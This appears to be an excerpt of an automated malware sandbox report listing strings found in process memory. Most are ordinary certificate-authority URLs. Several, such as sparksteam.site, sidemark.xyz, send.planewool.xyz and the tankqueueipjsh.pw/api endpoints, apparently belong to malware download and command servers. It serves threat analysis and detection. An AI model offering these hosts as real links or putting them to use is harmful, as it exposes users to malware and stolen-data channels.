00000020.00000003.3178948075.0000000001479000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000002.3686040918.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3485745469.00000000036C7000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2985131849.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3151020123.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155650420.0000000005D50000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155110918.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2987076425.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178975045.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178948075.0000000001479000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3553914280.0000000000EFF000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3553170180.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315742163.00000000023FC000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3396748058.000000000240E000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399492305.0000000002410000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315851192.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3394818785.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: Windows Updater.exe, 00000020.00000003.3192460011.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192460011.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315742163.00000000023FC000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315851192.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3394818785.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980725509.0000000003F0E000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178975045.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178948075.0000000001479000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3485745469.00000000036C7000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0W
Source: a1.exe, 00000015.00000003.2985131849.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3151020123.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155650420.0000000005D50000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155110918.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2987076425.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178975045.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178948075.0000000001479000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3485745469.00000000036C7000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3485516115.000000000204D000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: a1.exe, 00000015.00000003.2983645174.0000000003E57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.ncdc.gov.sa0
Source: a1.exe, 00000015.00000003.2984792935.0000000003F43000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984699434.0000000003F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.gva.es0
Source: 1922353491.exe, 00000024.00000002.3686040918.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: a1.exe, 00000015.00000003.2986569510.0000000003F14000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.suscerte.gob.ve0
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: a1.exe, 00000015.00000003.2985012788.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pki.digidentity.eu/validatie0
Source: a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pki.registradores.org/normativa/index.htm0
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.com0
Source: a1.exe, 00000015.00000003.2984792935.0000000003F43000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984699434.0000000003F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://postsignum.ttc.cz/crl/psrootqca2.crl0
Source: a1.exe, 00000015.00000002.3153855347.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003F1E000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2979384198.0000000003EEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pstbbk.com
Source: a1.exe, 00000015.00000003.2980745734.0000000001003000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://pstbbk.comAI_DeleteCadLzmaAI_IaLogInstallDataOnAnalyticsLogInstallDataAI_DATA_SETTER_4Advance
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984792935.0000000003F43000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2985040318.0000000003F18000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984699434.0000000003F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000255F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://send.planewool.xyz/track_inl2.php?tim=1701870636&poid=2598&p=1.25
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://send.planewool.xyz/track_polos.php?tim=1701870636&rcc=US&c=2598&p=0.9
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://send.planewool.xyz/track_uki.php?tim=1701870636&rcc=US&c=2598&p=0.92
Source: a1.exe, 00000015.00000003.2984992844.0000000003F1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sertifikati.ca.posta.rs/crl/PostaCARoot.crl0
Source: ZmWSzgevgt.tmp, 00000002.00000003.2130046254.0000000000978000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130638305.0000000000984000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sidemark.xyz/
Source: ZmWSzgevgt.tmp, 00000002.00000003.2130046254.0000000000978000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sidemark.xyz/ca
Source: ZmWSzgevgt.tmp, 00000002.00000003.2130046254.0000000000978000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130638305.0000000000984000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sidemark.xyz/ca0
Source: ZmWSzgevgt.tmp, 00000002.00000002.3913860718.00000000025C4000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3908425172.0000000000989000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130638305.0000000000989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sidemark.xyz/pe/buildIN.php?sub=&source=3890&s1=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG
Source: ZmWSzgevgt.tmp, 00000002.00000003.2130046254.0000000000978000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130638305.0000000000984000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3908425172.0000000000983000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sparksteam.site/
Source: ZmWSzgevgt.tmp, 00000002.00000003.2130046254.0000000000978000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130638305.0000000000984000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3908425172.0000000000983000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sparksteam.site/K
Source: ZmWSzgevgt.tmp, 00000002.00000002.3908425172.0000000000972000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130161380.000000000096F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sparksteam.site/L
Source: ZmWSzgevgt.exe, 00000000.00000002.3908082848.00000000021E4000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000003.2030706588.0000000002510000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3922593298.00000000038FD000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3922593298.00000000038BA000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2036525086.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3913860718.00000000025EB000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3913860718.00000000025CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sparksteam.site/ill.php?p=3890&t=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyL
Source: ZmWSzgevgt.exe, 00000000.00000002.3908082848.00000000021E4000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000003.2030706588.0000000002510000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3922593298.00000000038FD000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3922593298.00000000038BA000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130331827.0000000000967000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130260154.0000000000967000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2036525086.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130161380.0000000000963000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3913860718.00000000025CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sparksteam.site/pill.php
Source: ZmWSzgevgt.tmp, 00000002.00000003.2130331827.0000000000967000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130260154.0000000000967000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130161380.0000000000963000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sparksteam.site/pill.phpp
Source: v113.exe, 00000022.00000003.3315742163.00000000023FC000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3396748058.000000000240E000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399492305.0000000002410000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315851192.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3394818785.0000000002405000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://t1.symcb.com/T
Source: a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, MSIDA82.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: http://t1.symcb.com/ThawtePCA.crl0
Source: a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, MSIDA82.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: http://t2.symcb.com0
Source: 1922353491.exe, 00000024.00000002.3680655474.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/
Source: 1922353491.exe, 00000024.00000003.3413197154.000000000519D000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000003.3424397873.000000000519D000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000003.3404898557.000000000519D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/#W
Source: 1922353491.exe, 00000024.00000003.3400268188.000000000535A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/&&
Source: 1922353491.exe, 00000024.00000003.3424397873.000000000519D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/&P
Source: 1922353491.exe, 00000024.00000003.3363740682.00000000009FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/11
Source: 1922353491.exe, 00000024.00000003.3413197154.000000000519D000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000003.3424397873.000000000519D000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000003.3404898557.000000000519D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/8W9R
Source: 1922353491.exe, 00000024.00000003.3413197154.000000000519D000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000003.3424397873.000000000519D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/?P:S
Source: 1922353491.exe, 00000024.00000002.3680655474.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/Bm
Source: 1922353491.exe, 00000024.00000002.3684628279.0000000005359000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/M
Source: 1922353491.exe, 00000024.00000002.3684628279.0000000005359000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/N
Source: 1922353491.exe, 00000024.00000002.3686040918.000000000563B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/Q
Source: 1922353491.exe, 00000024.00000003.3413197154.000000000519D000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000003.3424397873.000000000519D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/T
Source: 1922353491.exe, 00000024.00000002.3684628279.0000000005359000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/Z
Source: 1922353491.exe, 00000024.00000002.3684114918.00000000050EE000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000002.3680655474.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/api
Source: 1922353491.exe, 00000024.00000002.3686040918.000000000574C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/api%g
Source: 1922353491.exe, 00000024.00000002.3684114918.00000000050EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/apiT
Source: 1922353491.exe, 00000024.00000002.3686040918.000000000563B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/apiincc
Source: 1922353491.exe, 00000024.00000002.3686040918.000000000563B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/apiixBGt
Source: 1922353491.exe, 00000024.00000002.3684114918.00000000050EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/apiov
Source: 1922353491.exe, 00000024.00000002.3686040918.000000000574C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/apip
Source: 1922353491.exe, 00000024.00000002.3684114918.000000000519A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/apipW
Source: 1922353491.exe, 00000024.00000002.3686040918.000000000563B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/apire1
Source: 1922353491.exe, 00000024.00000002.3686040918.000000000563B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/apire1DZ
Source: 1922353491.exe, 00000024.00000003.3400268188.000000000535A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/kk
Source: 1922353491.exe, 00000024.00000002.3680655474.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/mW
Source: 1922353491.exe, 00000024.00000002.3686040918.000000000563B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/n
Source: 1922353491.exe, 00000024.00000003.3413197154.000000000519D000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000003.3424397873.000000000519D000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000003.3404898557.000000000519D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/nWKR%
Source: 1922353491.exe, 00000024.00000002.3680655474.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/rllR&
Source: 1922353491.exe, 00000024.00000002.3680655474.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/rmlS
Source: 1922353491.exe, 00000024.00000002.3680655474.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tankqueueipjsh.pw/zmtS
